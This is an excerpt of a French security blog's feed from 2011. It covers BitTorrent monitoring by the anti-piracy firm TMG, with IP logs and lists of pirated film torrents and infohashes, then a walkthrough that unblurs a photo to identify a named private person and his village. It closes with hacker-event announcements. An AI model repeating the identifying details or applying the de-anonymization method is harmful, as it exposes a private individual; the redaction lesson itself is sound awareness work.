[!] Caught IP 91.189.110.12 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.51 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.52 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.52 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.91 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.91 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.92 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.92 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.201 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.201 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.110.202 looking for 4c3f2503650ed383373c9d5bffe33549347237f0
[!] Caught IP 91.189.109.86 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.109.87 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.11 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.12 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.51 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.52 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.91 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.92 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.201 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.110.202 looking for 371cf7b949cad6f2ed8db1430eb4764cf37bff3c
[!] Caught IP 91.189.109.86 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.109.87 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.11 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.11 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.12 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.12 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.51 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.52 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.52 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.91 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.91 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.92 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.92 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.201 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.202 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.110.202 looking for 709b7fc30414f42befa57037f6cbe8b49af29edb
[!] Caught IP 91.189.109.86 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.109.87 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.11 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.12 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.51 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.52 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.91 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.92 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.110.202 looking for 54ca6cb69f3d96e407480a1e3064bc7e412aa082
[!] Caught IP 91.189.109.86 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.109.87 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.11 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.12 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.51 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.52 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.91 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.92 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.201 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.110.202 looking for 260ffb3f981d272d4730dc47e679dd90424b507d
[!] Caught IP 91.189.109.86 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.11 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.12 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.51 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.91 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.92 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.201 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.110.202 looking for 326b11ad25fc2f3f661a3991e64db1b2829e8c64
[!] Caught IP 91.189.109.86 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.109.87 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.11 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.12 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.51 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.52 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.91 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.92 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.201 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
[!] Caught IP 91.189.110.202 looking for 04cda7e64899f1acfa35b26bca93546eddc39460
&lt;/pre&gt;
&lt;p&gt;Jusque là, tout s'est déroulé comme prévu. Au passage, on notera que TMG ne masque toujours pas ses adresses IP, et reste facilement détectable. J'ai essayé de savoir quels étaient ces fichiers monitorés, en recherchant le nom du torrent à partir de leur infohash:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
The.Way.Back.2010.1080p.MKV.x264.AC3.DTS.NLSubs-DMT
Gnomeo.and.Juliet.2011.TS.XViD-Rx
T.K.S.CR-xvid_MC8..avi
The.Kings.Speech.2010.1080p.AC3.DTS.Eng.Spa.NLSubs-DMT
Gnomeo &amp;amp; Juliet 2011 TS XviD Feel-Free
The.Kings.Speech.2010.NTSC.DVDSCR.WS.DD5.1.NLSubs-DMT
The.Kings.Speech.2010.BDRip.XviD-AMIABLE
Gnomeo.And.Juliet.2011.TS.XViD-BoNkErS
The Kings.Speech.2010.DVDSCR.XviD.AC3-NYDIC
The.Kings.Speech.2010.BDRip.XviD-AMIABLE
Gnomeo &amp;amp; Juliet 2011 TS XViD - IMAGiNE
The Kings Speech 2010 720p WEBSCR AC3 XViD - IMAGiNE
The Way Back 2010 BRRiP XviD AbSurdity
The Way Back 2010 BRRip XviD AC3-SANTi
The King's Speech (2010), DVDSCR(xvid)
Neds.2010.READNFO.DVDSCR.XViD-T0XiC-iNK
The King's Speech (2011) DVD5 Promo (Custom NLSubs)NLT Release
The.Way.Back.2010.BRRip.Xvid *1337x*-Noir
Battle.Los.Angeles.2011.FRENCH.R5.MD.XViD-SERUM
Insidious 2011 CAM XVID READ NFO LKRG
The King's Speech (2010).mkv
The.Way.Back.2010.BR2DVD.DD5.1.NLSubs-DMT
The.Real.Kings.Speech.DOCU.WS.PDTV.XviD-aAF
The.Way.Back.2010.PPV2DVD.DD2.0.NLSubs-DMT
The Way Back 2010 TS XViD
The.Way.Back.2010.TS.x264.Feel-Free
Gnomeo.And.Juliet.2011.TS.XviD-PRESTiGE
The King's Speech - soundtrack
The.Way.Back.2010.TS.PAL.DD2.0.NLSubs-DMT
The King's Speech (2011) ENG R5 - MDMA
The Kings Speech 2010 BRRip 720p-SKRAPY
The.Way.Back.2010.TS.XViD.AC3.HC-Subs.Hive-CM8
The King's Speech (2010)_allmovieslink.com
The Way Back (2010) ENG BDRip GoldTime-Studio.avi
The.Kings.Speech.2010.720p.WEBSCR.XviD.AC3-TiMPE.avi
Battle of Los Angeles 2011 FRENCH R5 MD XViD SERUM
The King's Speech (2011) TS XViD - IMAGiNE [NoRar]
The Way Back 2010 BRRip XvidHD 720p-NPW
&lt;/pre&gt;
&lt;p&gt;Donc pour faire court, 4 films ressortent de cette analyse:
- The King's Speech (Le discours d'un roi)
- The Way Back (Les chemins de la liberté)
- Gnomeo &amp;amp; Juliet (Gnoméo et Juliette)
- Battle of Los Angeles&lt;/p&gt;
&lt;p&gt;Dans tous ces torrents, seuls 2 sont en français. Et pourtant j'ai analysé des milliers de torrents ... Etonnant non ? A noter que TMG effectue aussi des relevés en Grande-Bretagne, d'où la présence de films anglophones je suppose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tentative de piège&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce que je trouve bizarre, c'est le peu de fichiers français partagés ! Si j'étais TMG, je chercherai à identifier rapidement les IPs françaises qui partagent un fichier torrent ! J'ai donc décidé de tenter de piéger les systèmes de monitoring, en annonçant aux trackers que je partage plusieurs fichiers monitorés. J'ai créé en parallèle une socket qui attend le handshake BitTorrent, et qui vérifie l'IP de provenance.&lt;/p&gt;
&lt;p&gt;Première surprise, les trackers me retournent plusieurs adresses IP appartenant à TMG, mais avec un numéro de port à 0... De là, deux solutions: soit le client gère le chiffrement, soit il écoute réellement sur le port 0. J'ai vérifié le cas du chiffrement, et ce n'est pas le cas. La seule explication possible: le système de monitoring annonce écouter sur le port 0 pour éviter que tout autre client puisse se connecter dessus (cela provoque une erreur système). Ou peut-être un moyen facile de détecter ses propres systèmes de monitoring.&lt;/p&gt;
&lt;p&gt;Seconde surprise, après plusieurs nuits de piégeage, absolument aucune adresse IP de TMG n'est venu frapper à ma box ! Et c'est pas faute de les avoir attirées... J'étais un peu perdu... Beaucoup de films en langue anglaise, très peu en français ... cela sentait le louche. Je décidais d'en savoir plus en recherchant parmi les torrents partagés sur un tracker, quels étaient ceux français monitorés. J'ai donc encore une fois conçu un script analysant les torrents partagés sur les trackers, et voici quelques exemples de fichiers identifiés:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
68e5431847aadcae23ceb5cedbd2a358f78144e8: RIEN.A.DECLARER.2011.FRENCH.TS.MD.REPACK.BY49.AVI
 92005a4cca98d5f885c4942bd963c121b3668cb8: FAST.AND.FURIOUS.5.RIO.HEIST.2011.FRENCH.TS.MD.REPACK.1CD.XVID-RESOLUTION
 b133fd60b92626c933ae0fd6ce19e83c0fd46a77: RIEN.A.DECLARER.FRENCH.DVDRIP.XVID-AYMO
 b7c5ce1fdc648f23234e69c64f4d44311294e149: THE.BORGIAS.S01E06.THE.FRENCH.KING.HDTV.XVID-FQM.[VTV].AVI
 4c8bebf8b813c2a54fb925441b0ccbc990f51f0d: SANCTUM.2011.FRENCH.DVDRIP.XVID-JULIEN333
 df0963ef353b5d75d81b890c1d8a4c2773d287d6: FAST.AND.FURIOUS.5.RIO.HEIST.2011.FRENCH.TS.MD.XVID-RESOLUTION
 74da1dc223340a808eb47258f59c190157057f68: L.AVOCAT.FRENCH.DVDRIP.XVID-AYMO (SMART)
 d9218e396a50f2b530b95dd8a06e9e38c06d991d: HALL.PASS.2011.FRENCH.BRRIP.XVID-LKT.AVI
 2083545ee1b1702c670b33af2effc2c99ec4b121: BATTLE.LOS.ANGELES FRENCH.BDRIP.XVID-AYMO
 08afa827a1952c3e7d44277a886be78f255e5f3a: THOR.2011.TRUEFRENCH.TS.MD.XVID-RESOLUTION
 988d7513499cf1a5e55da0f16ed0bb763e5008f9: DESPICABLE.ME.2010.FRENCH.DVDRIP.XVID-SSL
 33a6c1ed0efc0a5a1c155754b38cafd40fc4a8a2: THOR.2011.TRUEFRENCH.TS.MD.REPACK.1CD.XVID-RESOLUTION
 2b9c3cc81cf17a73334c4bae27d928980cd4dc70: THE TOURIST.FRENCH.DVDRIP.XVID-NERD
 b6987e90cb0b2d0f26fcf5c2716e2c3f10576e18: PIRATES DES CARAIBES - TRILOGIE - FRENCH - DIVX
 3761e005513fafff7bfac4ec8dd57eb2a6a4a870: LE.FILS.A.JO.2010.FRENCH.DVDRIP.XVID-STVFRVTW777
 722f3f4354161c6006f6dc58e04645377dc5315b: I,AM.NUMBER-FOUR.FRENCH.DVDRIP.XVID-NERD
 7ce8a6f96e067999398ee43d65604deccedaa6eb: 600.KG.D.OR.PUR.2010.FRENCH.DVDRIP.XVID-FICTION
 512a461466f64d30db49e52bbce1209a5d26c299: LES.PETITS.MOUCHOIRS.2010.FRENCH.DVDRIP.REPACK.1CD.XVID.AVI
 088d485fd9cf879eeedc0287a034fba8de94d363: A.BOUT.PORTANT.FRENCH.BDRIP.XVID-AYMO
 668fb65e07d1b9249a20957cd7dff5db0bebad31: DRIVE.ANGRY.FRENCH.DVDRIP.XVID-AYMO.AVI
 30da152a7899883e56a90a5f86d2a803e845a51d: LA.TRAQUE.2010.FRENCH.DVDRIP.XVID-SLIM
 1cfbd2139cbab7a05981f037f9b2afc94d5c5454: RIO.2011.FRENCH.R5.MD.REPACK.1CD.XVID-RESOLUTION
 d4d1e9bf88ebc4a576b94bb6dec91329bd6bdc20: THE GREEN.HORNET.2011.FRENCH.DVDRIP.XVID-FWD
 89ef6b88a62406be5ba27c5d8d6bfe9f08d96845: LARGO.WINCH.2.2011.TRUEFRENCH.R5.MD.XVID-ADDICTED
 c35125a2fca887fa752b727b0ade441a1a68a16f: LE NOM.DES.GENS.2011.FRENCH.DVDRIP.XVID-FICTION.AVI
 33810ad67073c729020d9a3a38efa69dac3c96c3: UNSTOPPABLE 2010 TRUEFRENCH R5 MD XVID-SERENITY
 e9b3c5fdc48e8ab954a1b0e991a422a5c58622e9: TWILIGHT.3.HESITATION.TRUEFRENCH.DVDRIP.XVID.AC3-FWD.AVI
 e1ebd9fa7c48bfa396909e216432fe9bb600dda1: FAST.AND.FURIOUS.5.RIO.HEIST.2011.FRENCH.TS.MD.XVID-RESOLUTION
 fc39a23e6b39fc7ce6f7e851d6e6400771272566: LES.REBELLES.DE.LA.FORET.3.2010.TRUEFRENCH.DVDRIP.XVID-FWD.AVI
 cb7f901518083a8048d0a1f04e2a16d4357f9507: HARRY POTTER 7.1 ET LES RELIQUES DE LA MORT FRENCH BRRIP XVID AC3 [CONDOM BE].AVI
&lt;/pre&gt;
&lt;p&gt;Là dedans, aucun fichier monitoré par TMG ... C'est à y perdre son latin ! Toutes les dernières grosses productions ... non surveillées ?! Bon, il y a bien un ou deux films surveillés dans cette liste:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[TRACKED !] e8bbf584eb99f2c6a084e74bd7e65edbc21c542f: BATTLE.LOS.ANGELES.2011.FRENCH.R5.MD.XVID-SERUM
[TRACKED !] 260ffb3f981d272d4730dc47e679dd90424b507d: BATTLE OF LOS ANGELES 2011 FRENCH R5 MD XVID SERUM
&lt;/pre&gt;
&lt;p&gt;Allons bon, encore ce &amp;quot;Battle Los Angeles&amp;quot; ... Un seul film surveillé sur les quelques centaines de films en français partagés ?? Naaaan désolé mais ça je n'y crois pas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WTFBBQ ?!!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si on résume:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;TMG utilise encore ses adresses IP en clair et ne passe (a priori, je me trompe peut-être) pas par des VPNs&lt;/li&gt;
&lt;li&gt;Un nombre limité de films en français (1 à ce jour) ont pu être identifié (phear)&lt;/li&gt;
&lt;li&gt;Aucune adresse IP de TMG ne s'est connecté chez moi pour savoir si je partageais un fichier surveillé&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J'en tire deux conclusions probables:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;soit TMG utilise désormais des VPNs et je n'ai pas pu matcher ces adresses et donc je suis bon pour tout refaire (mais dans ce cas pourquoi annoncer avec les IPs connues ?)&lt;/li&gt;
&lt;li&gt;soit TMG a stoppé son monitoring, ou l'a clairement restreint&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J'avoue que je penche plus pour la seconde, la première étant à mes yeux un non-sens. TMG aurait-elle pris des mesures suite au passage de la CNIL ? La CNIL a-t-elle mis un stop à TMG ? Peut-être des réponses à venir ...&lt;/p&gt;
&lt;p&gt;&amp;lt;article49|flattr&amp;gt;&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Floutage laxiste pour un barbu</title><link href="https://virtualabs.fr/secu/Floutage-laxiste-pour-un-barbu" rel="alternate"/><published>2011-04-21T03:10:20+02:00</published><updated>2011-04-21T03:10:20+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-04-21:/secu/Floutage-laxiste-pour-un-barbu</id><summary type="html">&lt;p&gt;J'adore Babozor et &lt;a class="reference external" href="http://www.lagrottedubarbu.com"&gt;La Grotte du Barbu&lt;/a&gt; (LGDB). J'aime aussi les t-shirts qu'il propose, et toutes les vidéos (ok, quasi toutes) qu'il a mis en ligne. Je dis ça car bon, le sujet de cet article est bien sûr de parler encore un peu de forensic, et en particulier des …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'adore Babozor et &lt;a class="reference external" href="http://www.lagrottedubarbu.com"&gt;La Grotte du Barbu&lt;/a&gt; (LGDB). J'aime aussi les t-shirts qu'il propose, et toutes les vidéos (ok, quasi toutes) qu'il a mis en ligne. Je dis ça car bon, le sujet de cet article est bien sûr de parler encore un peu de forensic, et en particulier des techniques de floutage/masquage disponibles pour anonymiser des photos/images, dont une employée par Babozor lors de la publication de photos relatives à l'envoi de ses t-shirts. Babozor, si tu me lis, n'y vois aucune atteinte personnelle, juste une curiosité de geek :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La curiosité est un vilain défaut&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai beau le savoir, ce n'est pas pour autant que je peux m'empêcher de l'être. Certains diront que c'est la nature même du hacker, d'autres que c'est du voyeurisme ou je ne sais quoi d'autre. Et c'est donc en lisant sur le site de LGDB un billet montrant le travail de fourmi de Babozor (100 t-shirts tout de même, dédicacés et envoyés ou livrés à vélo !) que j'aperçus une photo avec du texte flouté, un nom et prénom, un bout d'adresse, mais le code postal et le début du nom de la ville en clair. Cela a suffit à éveiller ma curiosité.&lt;/p&gt;
&lt;img alt="La photo en question" src="/images/lgdb_fail.jpg" /&gt;
&lt;p&gt;J'ai donc entrepris de retrouver le barbu destinataire de ce t-shirt #36, en partant des quelques informations fournies:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;code postal: 79240&lt;/li&gt;
&lt;li&gt;ville: l'ab???? (manque la fin du nom)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une rapide recherche sur Google m'a permis de retrouver le nom de la ville: L'ABSIE (79240).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Amélioration de la netteté&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'image en tant que telle a été altérée, afin d'éviter que quelqu'un retrouve l'identité du destinataire, ainsi que son adresse personnelle. J'ai donc entrepris de la retoucher avec GIMP afin d'améliorer la netteté, et espérer pouvoir en tirer quelque-chose. J'ai donc appliqué différents filtres GIMP, et bizarrement l'outil d'amélioration de désentrelacement a été d'un secours précieux. Celui-ci a réussi à améliorer la netteté du nom du destinataire, bien que celui-ci reste toujours illisible:&lt;/p&gt;
&lt;img alt="Image améliorée" src="/images/lgdb_dest.jpg" /&gt;
&lt;p&gt;Néanmoins, avec un peu de recul, le prénom est aisément devinable (éloignez votre nez de l'écran, et observez attentivement le premier mot): &lt;em&gt;Ludovic&lt;/em&gt;. Il s'agit ici du prénom, et pas du nom. Les trois premières lettres du nom de famille sont de même identifiables: &lt;em&gt;MOR&lt;/em&gt;. C'est déjà un bon début !&lt;/p&gt;
&lt;p&gt;Quant à l'adresse, elle est franchement illisible, sauf le numéro, qui peut a priori être 41 ou 47. Ce numéro étant dégradé, la distinction est dure à faire entre le 1 et le 7, donc on conserve ces deux possibilités. La structure du nom de la rue est la suivante: 4[1|7] XXX YY ZZZZZZZ. Le nom de la rue est totalement illisible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Identification de la rue&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour éclaircir tout cela, j'ai réalisé une petite recherche sur Google pour lister l'ensemble des rues de L'Absie à la recherche de noms de rue suivant ce format. J'ai trouvé une image contenant l'ensemble des rues, qui m'a ainsi servie de point de départ.&lt;/p&gt;
&lt;p&gt;Parmi ces rues, seules 7 suivent ce motif:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Rue de l'Audonnerie&lt;/li&gt;
&lt;li&gt;Rue du Calvaire&lt;/li&gt;
&lt;li&gt;Rue du College&lt;/li&gt;
&lt;li&gt;Rue des ecoliers&lt;/li&gt;
&lt;li&gt;Rue des Fleurs&lt;/li&gt;
&lt;li&gt;Rue de &lt;strong&gt;***&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Rue de Plaisance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Heureusement que L'Absie est un village, sinon cela aurait été plus laborieux. Je me suis ensuite connecté sur le site des pages blanches, et à partir de là j'ai saisi dans le champ &amp;quot;Où ?&amp;quot; le nom de la ville suivi du nom de chaque rue, l'une après l'autre. Pour chaque rue, j'ai cherché la présence d'un numéro 41 ou 47, et j'ai finalement trouvé une correspondance:&lt;/p&gt;
&lt;img alt="" src="/images/lgdb_pagesblanches.png" /&gt;
&lt;p&gt;Il s'agit d'un certain M. Morisset Dominique,résidant à L'Absie. Le nom commence bien par &amp;quot;MOR&amp;quot;, il semblerait que l'on soit sur la bonne voie. Par contre, pas de trace de Ludovic. Qu'à cela ne tienne, on peut supposer que son nom est &amp;quot;Morisset&amp;quot;, ce qui nous donne son identité. A partir de là, une recherche sur cette personne s'impose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Identification du destinataire mystère&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A l'aide de Google, une rapide recherche avec comme mots clefs le nom et le prénom du supposé destinataire nous mène vers un profil LinkedIn (notamment):&lt;/p&gt;
&lt;img alt="" src="/images/lgdb_dest_mystere.png" /&gt;
&lt;p&gt;Il est indiqué que Ludovic Morisset travaille à Paris, ce qui est loin, très loin de L'Absie. Cependant, une référence à L'Absie est présente dans son profil:&lt;/p&gt;
&lt;img alt="" src="/images/lgdb_dest_infos.png" /&gt;
&lt;p&gt;De plus, il travaille dans les domaines de l'électronique, et est intéressé par l'informatique et les NTICs, ce qui en fait un geek. Pour terminer, il a un compte twitter, a déjà twitter à propos du déménagement de la grotte, et possède &amp;#64;lagrottedubarbu dans une de ses listes:&lt;/p&gt;
&lt;img alt="" src="/images/lgdb_tweet.png" /&gt;
&lt;img alt="" src="/images/lgdb_tweet2.png" /&gt;
&lt;p&gt;&lt;strong&gt;Floutage ou Noirrage ? Que flouter ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ces deux questions, les auteurs voulant diffuser des photos contenant des informations personnelles doivent se les poser. Il est d'ailleurs ironique de voir que dans ce présent article, aucun floutage ni autres précautions n'ont été prises pour masquer les informations personnelles. Toutes celles mentionnées ici sont publiquement exposées, et la personne concernée n'a rien fait pour les masquer.&lt;/p&gt;
&lt;p&gt;Le floutage c'est bien, mais quand on oublie pas de flouter quelques éléments. Dans le cas présent, le code postal a été le seul véritable point de départ, tout comme le nom de la ville. Flouter c'est bien, mais le faire correctement, c'est mieux. Plusieurs solutions s'offrent à vous: pixelisation, tourbillon magique, flou gaussien, etc... La pixelisation est efficace, mais que si elle est réalisée proprement, avec un grain final beaucoup plus gros que l'original. Le tourbillon magique de toshop, on oublie, tout comme le flou gaussien. Si vous tenez absolument à ce que l'on ne puisse pas lire d'informations, noircissez celle-ci directement dans l'image.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour terminer cet article, je tiens tout d'abord à présenter mes excuses au sieur Ludovic Morisset pour avoir mentionné des informations publiques tirées de ses profils (publics) et des données délivrées par les pages blanches (publiques, toujours). S'il lit cet article et qu'il souhaite faire retirer des informations, voire l'article lui-même, je le ferai sans problème. Je tiens aussi à m'excuser d'avance auprès de Babozor et des barbus fidèles à son podcast (dont je fais partie), il s'agit principalement de démontrer que l'on ne peut pas flouter à la légère des informations, bien que dans le cas présent celles-ci n'aient pas grand intérêt, si ce n'est illustrer la méthode de recherche et les résultats obtenus.&lt;/p&gt;
&lt;p&gt;Il s'agit donc d'un semi-fail, mais qui aboutira j'en suis sûr à un win pour le prochain coup, n'est-ce pas Babozor ;) ?&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Nuit du Hack 2011</title><link href="https://virtualabs.fr/secu/Nuit-du-Hack-2011" rel="alternate"/><published>2011-04-18T23:53:32+02:00</published><updated>2011-04-18T23:53:32+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-04-18:/secu/Nuit-du-Hack-2011</id><summary type="html">&lt;p&gt;&lt;strong&gt;Comme chaque année, la Nuit du Hack rassemble bon nombre de passionnés de sécurité et de professionnels, autour de conférences, d'ateliers, et d'un CTF (&amp;quot;Capture The Flag&amp;quot;). Cette année, la 8ème édition de cet évènement se déroulera dans une salle de 2000 mètres carrés, au Centre de Conférence de Disneyland …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Comme chaque année, la Nuit du Hack rassemble bon nombre de passionnés de sécurité et de professionnels, autour de conférences, d'ateliers, et d'un CTF (&amp;quot;Capture The Flag&amp;quot;). Cette année, la 8ème édition de cet évènement se déroulera dans une salle de 2000 mètres carrés, au Centre de Conférence de Disneyland Paris.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Alors bon, j'entends déjà les râleurs dire que ça se passe chez Mickey et que c'est franchement pitoyable. Cela se passe au pays de Mickey et de Tigrou certes, mais la salle est juste énorme ! Ca va changer des péniches toutes petites où l'on ne peut pas circuler sans manquer de faire tomber deux ou trois personnes, ou des files d'attente de 2h de l'année dernière ;). On a d'ailleurs changé le système, afin d'avoir une validation des entrées plus efficace (QRcode inside). Disneyland offre aussi de grands avantages: un GRAND écran (ceux qui se plaindront de ne rien voir, on les attend), le truc de 10m par 15m (à peu près) qui va déchirer les yeux, un max d'espace, des stands, des sponsors, des ateliers, du monde de l'international (dont les participants au CTF et quelques speakers -- on l'espère).&lt;/p&gt;
&lt;p&gt;Le &lt;a class="reference external" href="http://nuitduhack.com/conferences-nuit-du-hack"&gt;Call for Papers&lt;/a&gt; est désormais en ligne, alors si vous vous sentez l'âme d'un speaker, n'hésitez surtout pas. Pour ma part, je pense que je ferai une présentation standard (30/45 mins) sur un projet sur lequel je travaille depuis 2008.&lt;/p&gt;
&lt;p&gt;Bref, la Nuit du Hack 2011, ca se passe (encore) à Paname, pour 35,80€ ttc (pour nous les hommes), et gratuit pour les filles (retrait du badge le jour même sur place, pas de résa). Au plaisir de vous y retrouver (autour d'un coca ou d'une bière) !&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Meeting HZV du 5 mars 2011</title><link href="https://virtualabs.fr/humeur/Meeting-HZV-du-5-mars-2011" rel="alternate"/><published>2011-03-18T00:13:37+01:00</published><updated>2011-03-18T00:13:37+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-03-18:/humeur/Meeting-HZV-du-5-mars-2011</id><summary type="html">&lt;p&gt;J'avais posté il y a quelques semaines sur le site d'HZV le PDF du workshop que j'ai animé au dernier meeting, sans plus. Ce meeting a été streamé, et enregistré (via livestream). J'ai pris le temps de retoucher la vidéo cette semaine, et je la mets donc à disposition ainsi …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'avais posté il y a quelques semaines sur le site d'HZV le PDF du workshop que j'ai animé au dernier meeting, sans plus. Ce meeting a été streamé, et enregistré (via livestream). J'ai pris le temps de retoucher la vidéo cette semaine, et je la mets donc à disposition ainsi que l'application Android nommée &amp;quot;Crackoid&amp;quot;, qui a servi d'exemple durant ce workshop&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vidéo du workshop (Ogg Vorbis, 2h40)&lt;/strong&gt;&lt;/p&gt;
